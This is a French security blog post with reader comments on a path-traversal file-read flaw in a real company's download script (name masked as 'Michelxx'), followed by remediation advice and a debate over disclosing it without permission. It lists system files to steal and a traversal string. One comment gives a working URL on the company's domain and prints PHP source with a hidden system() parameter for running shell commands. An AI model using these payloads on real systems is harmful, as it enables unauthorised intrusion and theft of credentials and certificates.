{Michelxx} – Un des serveurs aurait besoin d’une roue de secours !
Salut à tous et bon Weekend !
Souvent les plateformes, et les sites qui vont me servir de cobaye sont les mots-clefs que je peux entendre dans ma journée ...
L'autre jour avec quelques collègues nous évoquions Michelxx.
Une belle structure avec pas mal d'avantage pour les salariés ... et devinez quoi ...
Je me suis dit qu'il serait amusant de vérifier en 2 / 3 minutes si Michelxx était vraiment aussi sécurisée qu'une plateforme de cette capacité devrait l'être.
Prévention / Warning
Ne continuez pas de lire si vous ne voulez pas être impliqué ;)
Bon visiblement vous voulez en savoir plus !
Alors je vais vous parler d'une faille assez simple qui existe malheureusement encore ...
Cette faille permet à un pirate de consulter le contenu des fichiers d'un serveur et se présente de la manière suivante :
http://mon-server.com/lire_pdf.php?chemin=/mesfichiers/mespdf/monpdf.pdf
Dans l'exemple ci-dessus, j'ai pris des mots assez parlants pour illustrer le problème.
Le développeur de la page "lire_pdf.php" a privilégié la piste de la simplicité pour partager des fichiers :
Ici on passe en paramètre le chemin vers un fichier ... (/mesfichiers/mespdf/monpdf.pdf), et la page vous envoie le fichier en question.
Mais où est donc le problème alors ?
Bien que le fonctionnement décrit ci-dessus soit extrêmement simple ... il mériterait juste un minuscule, tout petit, ridicule ... contrôle !
Ici, il est possible de récupérer absolument n'importe quel fichier du serveur pour quelqu'un qui connait bien le système.
On peut par exemple récupérer la liste des utilisateurs / services ici :
/etc/passwd
Si le serveur est protégé par des solutions de firewall comme "CloudFlare" ... on peut récupérer sa véritable IP par ici :
/etc/network/interfaces
Scénario possible
Scénario 1
Je vais ici vous décrire une "simulation" d'attaque possible.
Lorsque le pirate découvre cette faille ...
Il n'a pour l'instant accès qu'en lecture aux fichiers du serveur et ne connait pas du tout l'emplacement des fichiers.
Il va donc lui falloir utiliser des chemins qui ne changent que rarement.
Notre pirate souhaite savoir dans quel dossier sont stockés les différents sites Web.
En imaginant qu'il s'agit d'un apache2 ( ce qui est ... ou pas le cas de Michelxx ;) )
Il pourra s'inspirer du fichier "/etc/apache2/apache2.conf", pour récupérer ses premiers indices (chemin vers des logs, chemins vers des confs, ....)
Lorsque notre pirate a trouvé le chemin vers un ou plusieurs sites Web, il peut interroger le .htaccess ou le index.php, qui souvent est à la racine du site !
Ce qui lui permettra de voir de nouveaux chemins vers des fichiers inclus ...
De fil en aiguille notre pirate pourra donc accéder à un fichier contenant les informations de connexions à la base de données !
Scénario 2
La première règle basique que l'on explique aux internautes, c'est de regarder la barre d'adresse du navigateur et de vérifier la présence d'un HTTPS
Pourquoi ?
Le https signifie que vos communications avec le serveur sur lequel vous êtes, sont "chiffrés" ...
Seul le serveur peut déchiffrer vos requêtes !
Comment ?
Tous simplement car il dispose de petits fichiers (certificats SSL) qui lui permettront de déchiffrer vos requêtes.
Ainsi notre pirate, peut s'emparer de ces fichiers ... et dans le cadre d'espionnage industriel, il pourra espionner des personnes travaillant chez Michelxx qui se connecteraient sur un intranet ... malgré la présence du https, car il disposerait d'un outil pour "déchiffrer" toutes les communications.
Une page de connexion, permettrait par exemple d'envoyer votre nom d'utilisateur & votre mot de passe à un pirate.
Comment s'en sécuriser alors ?
Il existe plusieurs bonnes pratiques et plusieurs moyens de s'en prémunir.
Tout d'abord, j'aurais tendance à dire qu'il n'est pas "bon" d'afficher dans des variables le chemin réel vers des fichiers.
Pour moi il est préférable de stocker en base de données le chemin des fichiers, et de n'afficher aux internautes que des "id"
Bonne Pratique :
https://site.com/telechargement.php?id=1234
Mauvaise Pratique :
https://site.com/telechargement.php?file=img/vacance.png
Pour ceux qui tiennent absolument à rester dans les mauvaises pratiques, il existe un compromis.
Il suffit d'ajouter une variable avec une valeur de contrôle :
Pratique "acceptable" :
https://site.com/telechargement.php?file=img/vacance.png&controle=bvcd45fgh==
Ici j'ai ajouté une variable "contrôle", qui contiendrait par exemple un "hash" généré à partir du chemin du fichier. Bien entendu ... il faut avoir un hash tangible & non prévisible, s'appuyant sur des données comme :
- l'heure et la date
- le chemin du fichier
- le User Agent de l’utilisateur
- ...
Ce qui permet que le hash soit changeant d'une heure à l'autre différent, d'un navigateur à un autre, ...
Bien entendu je ne qualifie pas ça de "bonne pratique" ... mais de "pratique acceptable"
Il est également possible d'interdire dans une configuration "Apache" ou dans un "htaccess" certaines valeurs dans l'url comme "/etc/hosts", "/etc/passwd", "/etc/apaches2/apache2.conf", "/etc/mysql/" ...
Michelxx dans tout ça !
Google peut être votre ami ... et votre pire ennemi à la fois.
Nombreuses sont les entreprises qui veulent de la visibilité, du référencement ... coûte que coûte ...
Sauf que le référencement peut être à votre avantage comme à votre désavantage.
Michelxx n’échappe malheureusement pas à cette règle :
Conclusion
Dans un premier temps, je vous invite vraiment à vous inspirer des "good practice" en matière de sécurité de votre site Web.
Beaucoup de blogs et de sites partagent des recommandations sur la manière d'intégrer telle ou telle fonctionnalité sur votre plateforme.
Stackoverflow c'est bien, mais parfois prenez le temps de creuser un peu plus loin les quelques solutions qu'on pourra vous proposer.
Faites auditer / tester votre application web !
Il existe beaucoup de personnes dont c'est le métier qui sauront vous conseiller ;)
Pour ceux qui ne parviendrait pas à comprendre la faille de Michelxx, je n'aurais qu'une chose à dire :
../../../../../../../../../../../../../../etc/network/interfaces
EDIT :
Suite à la réception d'un email de la part de l'entreprise concernée, j'ai pris le soin de masquer son nom, dans cet article et dans les commentaires.
Il semblerait qu'un important nombre de personne aient essayées d'exploiter la faille.
J'ai le devoir (et l'obligation) de vous le dire : C'est mal ... ne faites pas ça !
L'entreprise en question à "normalement" fait le nécessaire pour se protéger.
Bonjour,
J’espère qu’ils ont été prévenu avant et qu’ils ont eu le temps de corriger cela. Attention aussi en faisant de l’audit sauvage.
Je suis ton blog depuis quelque mois et je trouve ton travaille vraiment super, la sécurité est un sujet qui m’intéresse beaucoup et tu m’aide à comprendre certaine chose et à y voir plus claire. Merci.
Merci beaucoup pour ton commentaire ;)
Ces encouragements me vont droit au cœur et j’espère pouvoir continuer à vous fournir du contenu de qualité ;)
Bonjour,
Le cas évoqué est assez incroyable. C’est une bonne chose de voir aussi cela du côté développeur mais il faut appliquer les couches de sécurité dans l’ordre.
Ici nous sommes face à un problème de configuration du serveur web et donc à une faute grave de l’adminsys.
Normalement il doit être impossible d’aller chercher un fichier en dehors du dossier racine d’un site web (DoucmentRoot d’Apache par exemple) ou d’un autre dossier spécifiquement autorisé dans la configuration.
C’est exactement ce que j’allais dire ! Je ne vois pas trop le problème de servir des fichiers depuis un dossier. Exemple d’un site classique :
/
/img
/img/logo.svg
/img/users/huegg.jpg
/img/users/…
Dans le cas des users, je ne crois pas qu’il y ai un problème à permettre d’afficher des images directement à partir d’un répertoire. C’est même l’objet d’un serveur web il me semble. Et aller chercher la correspondance en BDD à chaque fois puis opérer un rewrite, en terme de perf, on repasse.
En revanche, pouvoir faire monsite.fr/img/../../../etc/passwd par exemple, c’est pas normal du tout. Ton serveur devrait répondre qu’il n’est pas autoriser à accéder à ce répertoire, fichier.
Bonjour,
merci pour votre article.
Par contre je pense que ça a provoqué la mise en maintenance du site x)
Ils ont du voir un trafic inhabituel :p
Oui en effet je pense qu’ils sont en train de corriger ;)
Cela qui confirme-t-il que ce billet est bien publié alors même que la faille n’est pas corrigée ???
Bonjour Fred,
Des dizaines de failles sont vendues, échangées sur le DarkNet chaque jour, et je ne parle pas des « zéros days » qui ne sont pas partagés.
En effet, il s’agit bien ici de ce que tu pourrais considérer comme de l’audit « Sauvage ».
Cependant, il n’y a aucun endroit dans cet article où je publie officiellement un lien vers la faille en question.
Il y a bien une capture d’écran qui permet d’identifier une partie de l’URL, mais point d’informations concrètes.
Je n’ai aucun doute sur le fait que certaines personnes (dont tu fais partie) n’ont eu aucun mal à savoir où la trouver.
Mais je pourrais tout aussi bien (vu l’historique du blog et le sujet de mes articles) t’informer qu’il y a des failles à la pelle sur des dizaines de grosses plateformes, ça ne fera pas avancer plus le wagon.
Entre laisser 6 mois à une entreprise pour faire le nécessaire … et la forcer à le faire en 24 heures, je pense que côté efficacité le choix est vite vu.
Mon blog est financé sur « fond propre », tu ne vois pas de publicité, ni pour l’instant d’article sponsorisé.
Tout ce que j’écris, je le fais avec passion, et avec mon passif, j’estime connaitre la manière dont je suis autorisé à partager ce genre d’articles.
Je peux comprendre que le contenu de Dyrk.org puisse heurter ta sensibilité, mais je publie du contenu « crû » … avec une petite couche d’information qui permet de partager
de la connaissance, et de sensibiliser.
Je pense que tout le monde est d’accord sur le fait que ce ne soit pas normal. Il devrait au minimum y avoir une limitation pour éviter de remonter au dessus de son DocumentRoot (à la lecture et l’article et à la petite phrase, on devine rapidement qu’il s’agit d’un Apache derrière). Voir même au niveau de PHP ou justement c’est le rôle du open_basedir (http://php.net/manual/fr/ini.core.php). Bref niveau sécurité il y a des choses à revoir…
Après savoir à qui est réellement la faute, ça restera toujours pour moi un problème. Sur la plupart des besoins il y a toujours une forte dépendance entre l’un et l’autre. Par exemple si le sysadmin veut faire une montée de version de PHP il sera dépendant du développeur car peut être que le site ne supporte pas, pareil pour le développeur, il ne pourra pas immédiatement utiliser un module PHP s’il n’est pas installé, il existe tellement de cas comme celui-ci. Bref oui il y a du travail à faire en terme de sécurité.
Le développeur a aussi sa part de responsabilité car c’est à lui de faire le support sur son site. C’est bien de publier des choses activement, d’avoir du traffic mais ce n’est pas tout. Le plus compliqué souvent c’est ce qu’on ne voit pas. Ici typiquement la faille utilise existe depuis 2007, oui oui 11 ans… (faites une recherche sur exploitdb, ça se trouve rapidement).
Si jamais un directeur technique passe sur cet article, j’espère qu’il sera convaincu de l’utilité de maintenir à jour son site et non pas faire juste des publications. Et que oui ça coute du pognon mais c’est pas réellement du pognon foutu en l’air (oui certes on voit pas réellement les changements mais ça veut pas dire qu’il y en a pas). Et que de faire de la veille technologique/sécurité, c’est aussi beaucoup de temps.
De l’autre côté je suis totalement d’accord avec Fred que tu aurais d’abord du contacter l’entreprise (ou les développeurs/autres) et de trouver ensemble un accord. Et ensuite (après corrections) la publication de cet article. Pour le coup ça peut rapidement devenir grave. Tu donne aussi beaucoup d’explication (ça c’est bien) mais beaucoup de pistes vis-à-vis de Michelxx et que beaucoup on forcément du tester la chose, accéder à des fichiers « sensibles » car on sait tous ou sont les /etc/passwd, les clés privées ssh, les certificats let’s encrypt, … Mais beaucoup ne savent peut être pas la responsabilité que ce genre d’accès implique et que juste un test les mets potentiellement dans la merde :(
En dehors de ça, continue tes articles, c’est sympa ;)
++
Yo,
Pour info depuis quelques articles BarbossHack remonte tes articles sur le Journal du hacker : https://www.journalduhacker.net/search?q=domain:dyrk.org&order=newest
Je pense que tes stats ont dû augmenter récemment à cause de ça.
Tcho !
Hello Cascador,
Merci pour ce commentaire ;)
Je ne dirais pas « à cause » mais plutôt « grâce » ^^
BarbossHack fait partie des super-lecteurs dont dispose Dyrk, il met souvent des commentaires
très encourageant ^^
En tout cas j’espère avoir le plaisir de te compter parmi mes lecteurs.
Concernant les stats … je t’avouerais que ne faisant pas spécialement de publicité pour le blog sur les réseaux sociaux, n’affichant pas non plus de publicité … je ne regarde pas trop mon nombre de lecteur ^^
Bien que j’ai une « revolvers map » qui m’affiche en temps réel dans la colonne de droite les endroits où sont connectés mes lecteurs actifs / inactifs
Sympa de cacher l’url, mais on la retrouve facilement quand meme.
Fait attention pour tes prochains sujets. D’ailleurs comment fais tu qd tu trouves ce genre de failles ? Tu contactes direct la boite, ou tu passes par un intermédiaire ? J’ai vu tellement de white hat se faire attraper alors qu’ils étaient juste transparents. J’avoue qu’une grosse boite comme ca, j’aurais flippé un peu à envoyer le mail.
Coucou Yoz ;)
Oui, je sais que l’on retrouve l’URL en cherchant un peu.
Cependant le but de flouter c’est surtout que l’enseigne ne soit pas visible.
Il s’agit ici de préserver le nom de l’entreprise (suite à sa demande / menace), qui se soucie plus de son image de marque que de sa sécurité.
Me concernant j’ai l’avantage d’avoir un média assez visible, donc j’essaie simplement
d’articuler mon article pour être considéré comme « Lanceur d’alerte », et de « mini formation » sur le sujet.
Je ne me pose pas spécialement la question de prendre contacte avec l’entreprise, car comme tu l’as dit … dans certains cas tu ne fais
que t’enrouler la corde autour du cou
Le plus intéressant c’est que grace au script on pouvait récupérer le code du script :
https://mediaevent.michelxx.com/themes/zenBib/download_file.php?img=%2Fthemes%2FzenBib%2Fdownload_file.php
Ce qui donne :
[pastacode lang="php" manual="%3C%3Fphp%0Aif(isset(%24_GET%5B'file'%5D))%7B%0Asystem(%24_GET%5B'file'%5D)%3B%0A%7D%0A%24file%3D'..%2F..'.urldecode(%24_GET%5B'img'%5D)%3B%0A%0A%2F%2Fecho%20%24file%3B%0A%0A%2F%2Ftelechargement%0A%24taille%3Dfilesize(%22%24file%22)%3B%0Aheader(%22Content-Type%3A%20application%2Fforce-download%3B%20name%3D%5C%22%24file%5C%22%22)%3B%0Aheader(%22Content-Transfer-Encoding%3A%20binary%22)%3B%0Aheader(%22Content-Length%3A%20%24taille%22)%3B%0Aheader(%22Content-Disposition%3A%20attachment%3B%20filename%3D%5C%22%24file%5C%22%22)%3B%0Aheader(%22Expires%3A%200%22)%3B%0Aheader(%22Cache-Control%3A%20no-cache%2C%20must-revalidate%22)%3B%0Aheader(%22Pragma%3A%20no-cache%22)%3B%0Areadfile(%22%24file%22)%3B%0Aexit()%3B%0A%0A%0A%3F%3E" message="" highlight="" provider="manual"/]
Il y a un argument caché qui permet d’executer une commande shell arbitraire !